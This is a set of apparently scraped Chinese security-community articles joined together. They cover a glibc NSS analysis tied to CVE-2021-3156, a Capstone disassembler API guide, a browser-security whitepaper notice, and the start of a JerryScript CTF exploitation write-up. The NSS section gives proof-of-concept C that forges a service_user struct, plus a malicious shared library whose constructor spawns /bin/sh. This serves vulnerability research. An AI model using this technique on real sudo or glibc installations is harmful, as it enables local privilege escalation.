- 如果树中找到了就会返回对应节点, 这个节点->key保存的字符串与fct_name一致, 但是地址不同
*/
result = ((known_function*)*found)->fct_ptr;
} else { //缓存中没有, 在对应模块中搜索后分配一个known_function对象插入缓存
//分配对象
known_function* known = malloc(sizeof *known);
if (!known) { //分配失败, 退出前要把之前在搜索树中分配的节点删掉
__tdelete(&fct_name, &ni->known, &known_compare);
free(known);
result = NULL;
} else {
//为插入的节设置一个新的known_function对象
*found = known;
known->fct_name = fct_name;
//加载这个服务对应的模块: /lib/libnss_SERVICE.so.1
if (nss_load_library(ni) != 0)
goto remove_from_tree;
if (ni->library->lib_handle == (void*)-1l) //加载模块失败
result = NULL;
else {
//构造函数名: "_nss_" + ni->name + "_" + fct_name + "\0"
size_t namlen = (5 + strlen(ni->name) + 1 + strlen(fct_name) + 1);
char name[namlen];
__stpcpy(__stpcpy(__stpcpy(__stpcpy(name, "_nss_"), ni->name), "_"), fct_name);
//在模块中寻找对应函数
result = __libc_dlsym(ni->library->lib_handle, name);
}
//函数已经找到, 写入known_function对象
known->fct_ptr = result;
}
}
/* Remove the lock. */
__libc_lock_unlock(lock);
//返回函数地址
return result;
}
libc_hidden_def(__nss_lookup_function)
* 我们关注下模块具体是怎么加载的, `nss_load_library()`的调用现场如下
## nss_load_library()
* 函数定义如下.
//加载服务ni对应的模块
static int nss_load_library(service_user* ni)
{
//如果这个服务是第一次用, 那么先创建一个service_library对象, 这是进行字符串的复制, 不会打开文件
if (ni->library == NULL) {
static name_database default_table;
ni->library = nss_new_service(service_table ?: &default_table, ni->name);
if (ni->library == NULL)
return -1;
}
//句柄为NULL表示这个服务并没有打开模块, 因此要加载服务对应模块
if (ni->library->lib_handle == NULL) {
//先构造服务对应的依赖库的名称: "libcnss_" + 服务名 + ".so" + 库版本号 + "\0". 这里会打开libnss_compat.so.2
size_t shlen = (7 + strlen(ni->name) + 3 + strlen(__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
__stpcpy(__stpcpy(__stpcpy(__stpcpy(shlib_name, "libnss_"), ni->name), ".so"), __nss_shlib_revision);
//然后调用dl_open()打开这个函数
ni->library->lib_handle = __libc_dlopen(shlib_name);
if (ni->library->lib_handle == NULL) {
/* Failed to load the library. */
ni->library->lib_handle = (void*)-1l;
__set_errno(saved_errno);
}
}
return 0;
}
* 这里需要注意一点: 当dlopen()加载一个so文件时, 如果这个so文件设置了构造函数, 那么dlopen()会自动执行此函数
## __nss_next2()
* 函数定义如下. 这个函数会遍历服务链表, 对于每一个服务调用`__nss_lookup_function()`进行搜索
/*
- 切换到下一个数据源, 寻找符号为fct_name的函数, 把函数地址写入fctp中, 如果fct_name没找到的话就试试fct2_name
- 返回值:
- -1:没找到
- 0: 成功切换到下一个函数
- 1: 遍历结束
*/
int __nss_next2(service_user** ni, const char* fct_name, const char* fct2_name, void** fctp, int status, int all_values)
{
if (all_values) {
if (nss_next_action(*ni, NSS_STATUS_TRYAGAIN) == NSS_ACTION_RETURN
&& nss_next_action(*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_RETURN
&& nss_next_action(*ni, NSS_STATUS_NOTFOUND) == NSS_ACTION_RETURN
&& nss_next_action(*ni, NSS_STATUS_SUCCESS) == NSS_ACTION_RETURN)
return 1;
} else {
/* This is really only for debugging. */
if (__builtin_expect(NSS_STATUS_TRYAGAIN > status
|| status > NSS_STATUS_RETURN,
0))
__libc_fatal("illegal status in __nss_next");
if (nss_next_action(*ni, status) == NSS_ACTION_RETURN)
return 1;
}
//服务链表的next为NULL, 表示链表结束
if ((*ni)->next == NULL)
return -1;
do {
*ni = (*ni)->next; //下一个链表节点
*fctp = __nss_lookup_function(*ni, fct_name); //加载这个服务对应的模块, 然后在模块中寻找fct_name对应的函数地址
//如果fct_name没找到的话试试fct2_name
if (*fctp == NULL && fct2_name != NULL)
*fctp = __nss_lookup_function(*ni, fct2_name);
//循环条件: 还没找到函数 && 在没找到时运行继续寻找 && 还有下一个服务
} while (*fctp == NULL && nss_next_action(*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE && (*ni)->next != NULL);
return *fctp != NULL ? 0 : -1;
}
libc_hidden_def(__nss_next2)
## 攻击面
* 根据上述分析, 我们着重考虑`nss_load_library()`, 这个函数负责加载服务对应的库, 如果`ni->library==NULL`或者`ni->library->lib_handle == NULL`, 该函数会根据`ni->name`构造出so库名, 然后调用dlopen()打开这个库
* 假如我们只有一次堆溢出的机会, 不可泄露地址, 我们可以溢出服务链表中的`service_user`对象:令`ni->library为NULL`, 令`ni->name="XXX"`, 这样就可以在下一次搜索服务链表打开`libnss_XXX.so.2`文件, 并且会执行`libnss_XXX.so.2`的构造函数.
* 例子
* 第一次调用`getpwuid()`时会解析nsswitch.conf文件把配置写入到service_table中, 在startp中写入passwd数据库对应的服务链表, 然后再进行函数搜索工作
* 假如现在溢出`service_table`中`group`数据库的一个服务, 也就是`service_user`对象: 令`ni->library为NULL`, 令`ni->name="X/X"`, 这样就在`group`数据库中伪造了一个模块
* 第二次调用`getgrgid()`时仍需要nsswitch.conf文件, 但是由于上次调用`getpwuid()`已经设置过service_table了, 因此会直接从这个链表中获取`group`数据库对应的服务模块
* 进入`__nss_lookup_function()`寻找函数时会先调用`nss_load_library()`加载模块, 由于`ni->library`为NULL, 因此会调用dlopen()加载我们的库
* 如果我们覆盖name为X的话, 那么构造出来的文件名为`libnss_X.so.2`, dlopen()会默认到`/usr/lib`中寻找, 显然我们不能在这个目录中写入文件, 如果覆盖name为`X/X`的话, 得到的文件名为`libnss_X/X.so.2`, 会把前面一部分解析成目录, 会现在当前目录下寻找`libnss_X`目录, 再找`X.so.2`文件, 这个就很好写入了
* 例子:
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <pwd.h>
typedef struct service_user {
struct service_user* next; //链表指针
int actions[5]; /* Action according to result. */
void* library; //这个服务对应的模块, 也就是动态链接库libnss_SERVICE.so.1
void* known; //指向一个搜索的树根, 这个搜索树保存了之前搜索过的函数名, 当做缓存用
char name[0]; //这个服务的名字 (`files', `dns', `nis', ...)
} service_user;
int main(void)
{
char* p = malloc(0x10); //0x555555756260
getpwuid(1000); //initial
//heao overflow to forge service_user
service_user* ni = p+0x17d0; //systemd
ni->next = 0x0;
ni->library = NULL;
ni->known = NULL;
strcpy(ni->name, "X/X");
getgrgid(1000); //trigger
}
* 覆盖之后的`service_table`
* 共享库
/*
mkdir libnss_X
gcc -fPIC -shared -o ./libnss_X/X.so.2
*/
#include <stdio.h>
#include <stdlib.h>
static void __attribute__((constructor)) MyInit(void);
static void MyInit(void)
{
write(1, "MyInit\n", 7);
execve("/bin/sh\x00", 0, 0);
}
<https://xiaoxin.zone/2021/03/21/cve-2021-3156-sudo-ti-quan-lou-dong-dui-yi-chu-diao-shi-fen-xi/> | 社区文章 |
最近准备用开源的反汇编引擎做个项目，研究了OllyDebug的ODDisasm，disasm与assembl部分代码的思想都很值得学习，但毕竟是2000年的产物，指令集只支持x86，也没有对语义的深度分析，于是转向了对Capstone的研究。
Capstone反汇编引擎可以说是如今世界上最优秀的反汇编引擎，IDA，Radare2，Qemu等著名项目都使用了Capstone
Engine，所以选择它来开发是一个不错的选择。
但在开发时发现官方并未给出详细API文档，网上也没有类似的分析，因此想到自己阅读源码和试验，由此写出了一个简单的非官方版本的API手册，希望能与大家分享。
个人博客： kabeor.cn
## 0x0 开发准备
Capstone官网： <http://www.capstone-engine.org>
### 自行编译lib和dll方法
源码： <https://github.com/aquynh/capstone/archive/4.0.1.zip>
下载后解压
文件结构如下：
> . <\- 主要引擎core engine + README + 编译文档COMPILE.TXT 等
> ├── arch <\- 各语言反编译支持的代码实现
> │ ├── AArch64 <\- ARM64 (aka ARMv8) 引擎
> │ ├── ARM <\- ARM 引擎
> │ ├── EVM <\- Ethereum 引擎
> │ ├── M680X <\- M680X 引擎
> │ ├── M68K <\- M68K 引擎
> │ ├── Mips <\- Mips 引擎
> │ ├── PowerPC <\- PowerPC 引擎
> │ ├── Sparc <\- Sparc 引擎
> │ ├── SystemZ <\- SystemZ 引擎
> │ ├── TMS320C64x <\- TMS320C64x 引擎
> │ ├── X86 <\- X86 引擎
> │ └── XCore <\- XCore 引擎
> ├── bindings <\- 中间件
> │ ├── java <\- Java 中间件 + 测试代码
> │ ├── ocaml <\- Ocaml 中间件 + 测试代码
> │ └── python <\- Python 中间件 + 测试代码
> ├── contrib <\- 社区代码
> ├── cstool <\- Cstool 检测工具源码
> ├── docs <\- 文档，主要是capstone的实现思路
> ├── include <\- C头文件
> ├── msvc <\- Microsoft Visual Studio 支持（Windows）
> ├── packages <\- Linux/OSX/BSD包
> ├── windows <\- Windows 支持(Windows内核驱动编译)
> ├── suite <\- Capstone开发测试工具
> ├── tests <\- C语言测试用例
> └── xcode <\- Xcode 支持 (MacOSX 编译)
下面演示Windows10使用Visual Studio2019编译
复制msvc文件夹到一个比较清爽的位置（强迫症专用），内部结构如下：
VS打开capstone.sln项目文件，解决方案自动载入这些
可以看到支持的所有语言都在这里了，如果都需要的话，直接编译就好了，只需要其中几种，则右键解决方案->属性->配置属性 如下
生成选项中勾选你需要的支持项即可
编译后会在当前文件夹Debug目录下生成capstone.lib静态编译库和capstone.dll动态库这样就可以开始使用Capstone进行开发了
如果不想自己编译，官方也提供了官方编译版本
Win32：
<https://github.com/aquynh/capstone/releases/download/4.0.1/capstone-4.0.1-win32.zip>
Win64：
<https://github.com/aquynh/capstone/releases/download/4.0.1/capstone-4.0.1-win64.zip>
选x32或x64将影响后面开发的位数
### 引擎调用测试
新建一个VS项目，将..\capstone-4.0.1\include\capstone中的头文件以及编译好的lib和dll文件全部拷贝到新建项目的主目录下
在VS解决方案中，头文件添加现有项capstone.h，资源文件中添加capstone.lib，重新生成解决方案
那么现在来测试一下我们自己的capstone引擎吧
主文件写入如下代码
#include <iostream>
#include <stdio.h>
#include <cinttypes>
#include "capstone.h"
using namespace std;
#define CODE "\x55\x48\x8b\x05\xb8\x13\x00\x00"
int main(void)
{
csh handle;
cs_insn* insn;
size_t count;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle)) {
printf("ERROR: Failed to initialize engine!\n");
return -1;
}
count = cs_disasm(handle, (unsigned char*)CODE, sizeof(CODE) - 1, 0x1000, 0, &insn);
if (count) {
size_t j;
for (j = 0; j < count; j++) {
printf("0x%""Ix"":\t%s\t\t%s\n", insn[j].address, insn[j].mnemonic, insn[j].op_str);
}
cs_free(insn, count);
}
else
printf("ERROR: Failed to disassemble given code!\n");
cs_close(&handle);
return 0;
}
事实上这是官方给出的C语言开发唯一几个例子之一，但注意到代码cs_open(CS_ARCH_X86, CS_MODE_64,
&handle)，测试的是archx64的反编译，因此编译选项也需要设置为x64，除此以外，如果你的项目像我一样是c++开发，那么printf("0x%""Ix"":\t%s\t\t%s\n",
insn[j].address, insn[j].mnemonic,
insn[j].op_str);处官方给出的"0x%"PRIx64":\t%s\t\t%s\n"应修改为我这里的"0x%""Ix"":\t%s\t\t%s\n"，这是inttypes支持问题。
运行结果
## 0x1 数据类型及API分析
### 数据类型
#### csh
用于生成调用capstone API的句柄
`size_t csh`
> 用法： `csh handle;`
#### cs_arch
架构选择
enum cs_arch {
CS_ARCH_ARM = 0, ///< ARM 架构 (包括 Thumb, Thumb-2)
CS_ARCH_ARM64, ///< ARM-64, 也叫 AArch64
CS_ARCH_MIPS, ///< Mips 架构
CS_ARCH_X86, ///< X86 架构 (包括 x86 & x86-64)
CS_ARCH_PPC, ///< PowerPC 架构
CS_ARCH_SPARC, ///< Sparc 架构
CS_ARCH_SYSZ, ///< SystemZ 架构
CS_ARCH_XCORE, ///< XCore 架构
CS_ARCH_M68K, ///< 68K 架构
CS_ARCH_TMS320C64X, ///< TMS320C64x 架构
CS_ARCH_M680X, ///< 680X 架构
CS_ARCH_EVM, ///< Ethereum 架构
CS_ARCH_MAX,
CS_ARCH_ALL = 0xFFFF, // All 架构 - for cs_support()
} cs_arch;
> 用法：API中cs_arch参数填入枚举内容，如API中cs_open(cs_arch arch, cs_mode mode, csh
> *handle);第一个参数填CS_ARCH_X86则支持X86 架构
#### cs_mode
模式选择
enum cs_mode {
CS_MODE_LITTLE_ENDIAN = 0, ///< little-endian 模式 (default 模式)
CS_MODE_ARM = 0, ///< 32-bit ARM
CS_MODE_16 = 1 << 1, ///< 16-bit 模式 (X86)
CS_MODE_32 = 1 << 2, ///< 32-bit 模式 (X86)
CS_MODE_64 = 1 << 3, ///< 64-bit 模式 (X86, PPC)
CS_MODE_THUMB = 1 << 4, ///< ARM's Thumb 模式, including Thumb-2
CS_MODE_MCLASS = 1 << 5, ///< ARM's Cortex-M series
CS_MODE_V8 = 1 << 6, ///< ARMv8 A32 encodings for ARM
CS_MODE_MICRO = 1 << 4, ///< MicroMips 模式 (MIPS)
CS_MODE_MIPS3 = 1 << 5, ///< Mips III ISA
CS_MODE_MIPS32R6 = 1 << 6, ///< Mips32r6 ISA
CS_MODE_MIPS2 = 1 << 7, ///< Mips II ISA
CS_MODE_V9 = 1 << 4, ///< SparcV9 模式 (Sparc)
CS_MODE_QPX = 1 << 4, ///< Quad Processing eXtensions 模式 (PPC)
CS_MODE_M68K_000 = 1 << 1, ///< M68K 68000 模式
CS_MODE_M68K_010 = 1 << 2, ///< M68K 68010 模式
CS_MODE_M68K_020 = 1 << 3, ///< M68K 68020 模式
CS_MODE_M68K_030 = 1 << 4, ///< M68K 68030 模式
CS_MODE_M68K_040 = 1 << 5, ///< M68K 68040 模式
CS_MODE_M68K_060 = 1 << 6, ///< M68K 68060 模式
CS_MODE_BIG_ENDIAN = 1 << 31, ///< big-endian 模式
CS_MODE_MIPS32 = CS_MODE_32, ///< Mips32 ISA (Mips)
CS_MODE_MIPS64 = CS_MODE_64, ///< Mips64 ISA (Mips)
CS_MODE_M680X_6301 = 1 << 1, ///< M680X Hitachi 6301,6303 模式
CS_MODE_M680X_6309 = 1 << 2, ///< M680X Hitachi 6309 模式
CS_MODE_M680X_6800 = 1 << 3, ///< M680X Motorola 6800,6802 模式
CS_MODE_M680X_6801 = 1 << 4, ///< M680X Motorola 6801,6803 模式
CS_MODE_M680X_6805 = 1 << 5, ///< M680X Motorola/Freescale 6805 模式
CS_MODE_M680X_6808 = 1 << 6, ///< M680X Motorola/Freescale/NXP 68HC08 模式
CS_MODE_M680X_6809 = 1 << 7, ///< M680X Motorola 6809 模式
CS_MODE_M680X_6811 = 1 << 8, ///< M680X Motorola/Freescale/NXP 68HC11 模式
CS_MODE_M680X_CPU12 = 1 << 9, ///< M680X Motorola/Freescale/NXP CPU12
///< 用于 M68HC12/HCS12
CS_MODE_M680X_HCS08 = 1 << 10, ///< M680X Freescale/NXP HCS08 模式
} cs_mode;
> 用法：API中cs_mode参数填入枚举内容，如API中cs_open(cs_arch arch, cs_mode mode, csh
> *handle);第二个参数填CS_MODE_64则支持X64模式
#### cs_opt_mem
内存操作
struct cs_opt_mem {
cs_malloc_t malloc;
cs_calloc_t calloc;
cs_realloc_t realloc;
cs_free_t free;
cs_vsnprintf_t vsnprintf;
} cs_opt_mem;
> 用法：可使用用户自定义的malloc/calloc/realloc/free/vsnprintf()函数，默认使用系统自带malloc(),
> calloc(), realloc(), free() & vsnprintf()
#### cs_opt_mnem
自定义助记符
struct cs_opt_mnem {
/// 需要自定义的指令ID
unsigned int id;
/// 自定义的助记符
const char *mnemonic;
} cs_opt_mnem;
#### cs_opt_type
反编译的运行时选项
enum cs_opt_type {
CS_OPT_INVALID = 0, ///< 无特殊要求
CS_OPT_SYNTAX, ///< 汇编输出语法
CS_OPT_DETAIL, ///< 将指令结构分解为多个细节
CS_OPT_MODE, ///< 运行时改变引擎模式
CS_OPT_MEM, ///< 用户定义的动态内存相关函数
CS_OPT_SKIPDATA, ///< 在反汇编时跳过数据。然后引擎将处于SKIPDATA模式
CS_OPT_SKIPDATA_SETUP, ///< 为SKIPDATA选项设置用户定义函数
CS_OPT_MNEMONIC, ///<自定义指令助记符
CS_OPT_UNSIGNED, ///< 以无符号形式打印立即操作数
} cs_opt_type;
> 用法：API cs_option(csh handle, cs_opt_type type, size_t value);中第二个参数
#### cs_opt_value
运行时选项值(与cs_opt_type关联)
enum cs_opt_value {
CS_OPT_OFF = 0, ///< 关闭一个选项 - 默认为CS_OPT_DETAIL, CS_OPT_SKIPDATA, CS_OPT_UNSIGNED.
CS_OPT_ON = 3, ///< 打开一个选项 (CS_OPT_DETAIL, CS_OPT_SKIPDATA).
CS_OPT_SYNTAX_DEFAULT = 0, ///< 默认asm语法 (CS_OPT_SYNTAX).
CS_OPT_SYNTAX_INTEL, ///< X86 Intel asm语法 - 默认开启 X86 (CS_OPT_SYNTAX).
CS_OPT_SYNTAX_ATT, ///< X86 ATT 汇编语法 (CS_OPT_SYNTAX).
CS_OPT_SYNTAX_NOREGNAME, ///< 只打印寄存器名和编号 (CS_OPT_SYNTAX)
CS_OPT_SYNTAX_MASM, ///< X86 Intel Masm 语法 (CS_OPT_SYNTAX).
} cs_opt_value;
> 用法：API cs_option(csh handle, cs_opt_type type, size_t value);中第三个参数
#### cs_op_type
通用指令操作数类型，在所有架构中保持一致
enum cs_op_type {
CS_OP_INVALID = 0, ///< 未初始化/无效的操作数
CS_OP_REG, ///< 寄存器操作数
CS_OP_IMM, ///< 立即操作数
CS_OP_MEM, ///< 内存操作数
CS_OP_FP, ///< 浮点数
} cs_op_type;
> 目前开放的API中未调用
#### cs_ac_type
通用指令操作数访问类型，在所有架构中保持一致
可以组合访问类型，例如:CS_AC_READ | CS_AC_WRITE
enum cs_ac_type {
CS_AC_INVALID = 0, ///< 未初始化/无效的访问类型
CS_AC_READ = 1 << 0, ///< 操作数从内存或寄存器中读取
CS_AC_WRITE = 1 << 1, ///< 操作数从内存或寄存器中写入
} cs_ac_type;
> 目前开放的API中未调用
#### cs_group_type
公共指令组，在所有架构中保持一致
cs_group_type {
CS_GRP_INVALID = 0, ///< 未初始化/无效指令组
CS_GRP_JUMP, ///< 所有跳转指令(条件跳转+直接跳转+间接跳转)
CS_GRP_CALL, ///< 所有调用指令
CS_GRP_RET, ///< 所有返回指令
CS_GRP_INT, ///< 所有中断指令(int+syscall)
CS_GRP_IRET, ///< 所有中断返回指令
CS_GRP_PRIVILEGE, ///< 所有特权指令
CS_GRP_BRANCH_RELATIVE, ///< 所有相关分支指令
} cs_group_type;
> 目前开放的API中未调用
#### cs_opt_skipdata
用户自定义设置SKIPDATA选项
struct cs_opt_skipdata {
/// Capstone认为要跳过的数据是特殊的“指令”
/// 用户可以在这里指定该指令的“助记符”字符串
/// 默认情况下(@mnemonic为NULL)， Capstone使用“.byte”
const char *mnemonic;
/// 用户定义的回调函数，当Capstone命中数据时调用
/// 如果这个回调返回的值是正数(>0)，Capstone将跳过这个字节数并继续。如果回调返回0,Capstone将停止反汇编并立即从cs_disasm()返回
/// 注意:如果这个回调指针为空，Capstone会根据架构跳过一些字节，如下所示:
/// Arm: 2 bytes (Thumb mode) or 4 bytes.
/// Arm64: 4 bytes.
/// Mips: 4 bytes.
/// M680x: 1 byte.
/// PowerPC: 4 bytes.
/// Sparc: 4 bytes.
/// SystemZ: 2 bytes.
/// X86: 1 bytes.
/// XCore: 2 bytes.
/// EVM: 1 bytes.
cs_skipdata_cb_t callback; // 默认值为 NULL
/// 用户自定义数据将被传递给@callback函数指针
void *user_data;
} cs_opt_skipdata;
> 目前开放的API中未调用
>
> #### cs_detail
>
> 注意:只有当CS_OPT_DETAIL = CS_OPT_ON时，cs_detail中的所有信息才可用
在arch/ARCH/ARCHDisassembler.c的ARCH_getInstruction中初始化为memset(., 0,
offsetof(cs_detail, ARCH)+sizeof(cs_ARCH))
如果cs_detail发生了变化，特别是在union之后添加了字段，那么相应地更新arch/ arch/ archdisassembly .c
struct cs_detail {
uint16_t regs_read[12]; ///< 这个参数读取隐式寄存器列表
uint8_t regs_read_count; ///< 这个参数读取隐式寄存器计数
uint16_t regs_write[20]; ///< 这个参数修改隐式寄存器列表
uint8_t regs_write_count; ///< 这个参数修改隐式寄存器计数
uint8_t groups[8]; ///< 此指令所属的指令组的列表
uint8_t groups_count; ///< 此指令所属的组的数
/// 特定于体系结构的信息
union {
cs_x86 x86; ///< X86 架构, 包括 16-bit, 32-bit & 64-bit 模式
cs_arm64 arm64; ///< ARM64 架构 (aka AArch64)
cs_arm arm; ///< ARM 架构 (包括 Thumb/Thumb2)
cs_m68k m68k; ///< M68K 架构
cs_mips mips; ///< MIPS 架构
cs_ppc ppc; ///< PowerPC 架构
cs_sparc sparc; ///< Sparc 架构
cs_sysz sysz; ///< SystemZ 架构
cs_xcore xcore; ///< XCore 架构
cs_tms320c64x tms320c64x; ///< TMS320C64x 架构
cs_m680x m680x; ///< M680X 架构
cs_evm evm; ///< Ethereum 架构
};
} cs_detail;
#### cs_insn
指令的详细信息
struct cs_insn {
/// 指令ID(基本上是一个用于指令助记符的数字ID)
/// 应在相应架构的头文件中查找'[ARCH]_insn' enum中的指令id，如ARM.h中的'arm_insn'代表ARM, X86.h中的'x86_insn'代表X86等…
/// 即使在CS_OPT_DETAIL = CS_OPT_OFF时也可以使用此信息
/// 注意:在Skipdata模式下，这个id字段的“data”指令为0
unsigned int id;
/// 指令地址 (EIP)
/// 即使在CS_OPT_DETAIL = CS_OPT_OFF时也可以使用此信息
uint64_t address;
/// 指令长度
/// 即使在CS_OPT_DETAIL = CS_OPT_OFF时也可以使用此信息
uint16_t size;
/// 此指令的机器码，其字节数由上面的@size表示
/// 即使在CS_OPT_DETAIL = CS_OPT_OFF时也可以使用此信息
uint8_t bytes[16];
/// 指令的Ascii文本助记符
/// 即使在CS_OPT_DETAIL = CS_OPT_OFF时也可以使用此信息
char mnemonic[CS_MNEMONIC_SIZE];
/// 指令操作数的Ascii文本
/// 即使在CS_OPT_DETAIL = CS_OPT_OFF时也可以使用此信息
char op_str[160];
/// cs_detail指针
/// 注意:只有同时满足以下两个要求时，detail指针才有效:
/// (1) CS_OP_DETAIL = CS_OPT_ON
/// (2) 引擎未处于Skipdata模式(CS_OP_SKIPDATA选项设置为CS_OPT_ON)
///
/// 注意2:当处于Skipdata模式或detail模式关闭时，即使这个指针不是NULL，它的内容仍然是不相关的。
cs_detail *detail;
} cs_insn;
#### cs_err
Capstone API遇到的各类型的错误时cs_errno()的返回值
typedef enum cs_err {
CS_ERR_OK = 0, ///< 无错误
CS_ERR_MEM, ///< 内存不足: cs_open(), cs_disasm(), cs_disasm_iter()
CS_ERR_ARCH, ///< 不支持的架构: cs_open()
CS_ERR_HANDLE, ///<句柄不可用: cs_op_count(), cs_op_index()
CS_ERR_CSH, ///< csh参数不可用: cs_close(), cs_errno(), cs_option()
CS_ERR_MODE, ///< 无效的或不支持的模式: cs_open()
CS_ERR_OPTION, ///< 无效的或不支持的选项: cs_option()
CS_ERR_DETAIL, ///< 信息不可用，因为detail选项是关闭的
CS_ERR_MEMSETUP, ///< 动态内存管理未初始化(见 CS_OPT_MEM)
CS_ERR_VERSION, ///< 不支持版本 (bindings)
CS_ERR_DIET, ///< 在“diet”引擎中访问不相关的数据
CS_ERR_SKIPDATA, ///< 在SKIPDATA模式下访问与“数据”指令无关的数据
CS_ERR_X86_ATT, ///< X86 AT&T 语法不支持(在编译时退出)
CS_ERR_X86_INTEL, ///< X86 Intel 语法不支持(在编译时退出)
CS_ERR_X86_MASM, ///< X86 Intel 语法不支持(在编译时退出)
} cs_err;
本文下一部分将分析Capstone API，敬请期待 | 社区文章 |
译者：Serene
9月19日，德国网络安全公司 Cure53 和著名的 X41 D-Sec GmbH（以下简称X41）团队均发布了一份浏览器安全白皮书，其中 X41
对比了3大 web 浏览器 Google Chrome、Microsoft Edge 和 Internet Explorer，提供了非常详细的安全研究报告。
#### X41：浏览器安全白皮书
我们收集、分析并总结了与浏览器安全相关的所有潜在相关信息，为了帮助一些IT经理和安全专家做出明智的决定，选择更适合各自具体需求的浏览器，并且最大程度地抵御他们所面临的风险。
我们查看了使用最多的三个浏览器：Microsoft Internet Explorer、Edge 以及 Google
Chrome，并花费了大量的时间来研究现代Web浏览器能实现的所有安全功能，分析了非常多他们针对潜在安全隐患的功能。
我们发现现代浏览器相比以前内置了更多的安全技术，但同时也多了更多的“攻击面”。定期引入并实施新的安全技术和web功能，增加更多可以减轻安全问题或引入安全漏洞的代码。
我们还发现 Microsoft Edge 和 Google Chrome 都具有最先进的安全性，而 Microsoft Internet Explorer
相较于落后于他们。在我们看来，Google Chrome 的整体安全性更高，但建议大家还是查看数据后自行决定，最佳的选择取决于个人需求和所面临的具体风险。
**项目地址：**<https://www.x41-dsec.de/security/report/whitepaper/2017/09/18/whitepaper-x41-browser-security/>
**PDF版本下载：**<https://paper.seebug.org/papers/Archive/X41-Browser-Security-White-Paper.pdf>
#### Cure53：浏览器安全白皮书
这几乎是Cure53所掌握的所有关于浏览器的一切，集合在一个文档中。
可以在[这里](https://github.com/cure53/browser-sec-whitepaper/issues
"这里")给我们评论或指出错误。
**项目地址：**<https://github.com/cure53/browser-sec-whitepaper>
**PDF版本下载：**<https://paper.seebug.org/papers/Archive/browser-security-whitepaper.pdf>
* * * | 社区文章 |
# 从一道题目来学习 JerryScript 引擎的漏洞利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在上周末的深育杯线上赛中，遇到了一个挺有意思的题目，叫 `HelloJerry`，考察的是 `JerryScript`
引擎的漏洞利用。不过，由于比赛时间有限，因此比赛过程中并未解出来，赛后复现了一下，这里与各位师傅交流一下。
## 一、基础知识
在开始讲解解题思路前，我们来学习一下关于 JerryScript 的基础知识。
这里，为了方便期间，我只挑选了做题时会使用到的内容，剩余的内容大家可以自行去了解一下。
### 1、变量表示
**1.1 Array**
在 HelloJerry 中，表达数组的结构体如下，源码在 `jerry-core/ecma/builtin-objects/ecma-globals.h`：
typedef struct
{
ecma_object_descriptor_t type_flags_refs;
jmem_cpointer_t gc_next_cp;
union
{
jmem_cpointer_t property_list_cp;
...
} u1;
union
{
jmem_cpointer_t prototype_cp;
...
} u2;
} ecma_object_t;
typedef struct
{
ecma_object_t object;
...
union
{
...
struct
{
uint32_t length;
uint32_t length_prop_and_hole_count;
} array;
} u;
} ecma_extended_object_t;
整个 `ecma_extended_object_t` 和 `ecma_object_t` 非常庞大，因为它描述了各种各样的内置对象，这里我只挑出了
Array 会使用到的内容。其中，有几个属性值解释一下：
* `array->object.u1.property_list_cp`：数组的存储区域
* `array->object.u2.prototype_cp`：数组的原型所在位置
* `array->u.array.length`：数组的长度
我们来看一个具体的实例：
let a = [1,2,3,4,5,6,7,8]
然后，我们使用 gdb 来查看一下内存：
大家是否发现什么不对劲的地方？是的，`property_list_cp` 和 `prototype_cp` 的值分为 `0x5b` 和
`0x55`，这怎么就描述了一个数组的内存区所在位置呢？
这里，就是一个有趣的地方，它在取值的时候，会调用一个函数 `jmem_decompress_pointer` 进行转换（`jerry-core/jmem-jmem-allocator.c`）：
extern inline void *JERRY_ATTR_PURE JERRY_ATTR_ALWAYS_INLINE
jmem_decompress_pointer (uintptr_t compressed_pointer)
{
JERRY_ASSERT (compressed_pointer != JMEM_CP_NULL);
uintptr_t uint_ptr = compressed_pointer;
....
const uintptr_t heap_start = (uintptr_t) &JERRY_HEAP_CONTEXT (first);
....
uint_ptr <<= JMEM_ALIGNMENT_LOG;// JMEM_ALIGNMENT_LOG = 3
uint_ptr += heap_start;
....
return (void *) uint_ptr;
}
这里我们可以看到，JerryScript 自己实现了一个堆结构来管理堆内存的。而 array 的寻址方式就是 `jerry_globals_heap +
array->u1.property_list_cp << 3`。通过这种方法，就能够减小内存开销，这也正是它作为轻量级 JavaScript 引擎的体现。
**1.2 direct number value**
在介绍 Array 的时候，大家是否注意到一个奇怪的现象： **似乎所有的整数都向左位移了 4 位** 。这便是 JerryScript 用于区分和处理
`立即数` 的方法，我们来看下源码：
#define ECMA_INTEGER_NUMBER_MAX 0x7fffff
#define ECMA_DIRECT_SHIFT 4
#define ECMA_DIRECT_TYPE_INTEGER_VALUE 0
ecma_value_t
ecma_make_length_value (ecma_length_t number) /**< number to be encoded */
{
if (number <= ECMA_INTEGER_NUMBER_MAX)
{
return ecma_make_integer_value ((ecma_integer_value_t) number);
}
return ecma_create_float_number ((ecma_number_t) number);
}
extern inline ecma_value_t JERRY_ATTR_CONST JERRY_ATTR_ALWAYS_INLINE
ecma_make_integer_value (ecma_integer_value_t integer_value) /**< integer number to be encoded */
{
JERRY_ASSERT (ECMA_IS_INTEGER_NUMBER (integer_value));
return (((ecma_value_t) integer_value) << ECMA_DIRECT_SHIFT) | ECMA_DIRECT_TYPE_INTEGER_VALUE;
}
可以看到，当我们传入一个整数的时候。如果它的值小于 `0x7ffffff`，就会将其当作立即数来处理，处理方式就是 `value << 4 |
0`，最末尾的 `0` 代表它的类型。
同理，当我们进行取值操作时，JerryScript 发现该元素的值最低位为 `0`，就会将其当成立即数来处理。
**1.3 ArrayBuffer 和 DataView**
typedef struct
{
ecma_extended_object_t extended_object; /**< extended object part */
void *buffer_p; /**< pointer to the backing store of the array buffer object */
void *arraybuffer_user_p; /**< user pointer passed to the free callback */
} ecma_arraybuffer_pointer_t;
typedef struct
{
ecma_extended_object_t header; /**< header part */
ecma_object_t *buffer_p; /**< [[ViewedArrayBuffer]] internal slot */
uint32_t byte_offset; /**< [[ByteOffset]] internal slot */
} ecma_dataview_object_t;
ArrayBuffer 和 DataView 这两个对象，相信做 JavaScript 引擎漏洞挖掘的师傅们都非常熟悉了。
这里，我们注意到，ArrayBuffer 的结构体存在 `buffer_p` 这样的一个指针，它直接指向了 ArrayBuffer
